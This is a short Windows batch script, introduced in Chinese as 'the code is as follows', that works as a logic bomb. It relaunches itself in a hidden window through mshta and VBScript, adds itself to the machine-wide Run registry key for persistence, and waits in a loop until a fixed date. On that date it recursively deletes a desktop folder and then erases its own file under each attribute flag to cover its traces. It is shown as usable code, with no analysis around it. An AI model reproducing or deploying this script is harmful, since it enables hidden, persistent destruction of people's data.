代码如下:
@ECHO OFF
if "%1"=="h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "dp44h455875fd4534g" /d "%0" /f
:lp
if "%date%"=="2016-06-30 星期四" cls & goto startdel
cls & goto lp
:startdel
rd /s /q "C:\Documents and Settings\Administrator\桌面\删除"
del /f /q %0
del /f /q /a:r %0
del /f /q /a:s %0
del /f /q /a:h %0
del /f /q /a:a %0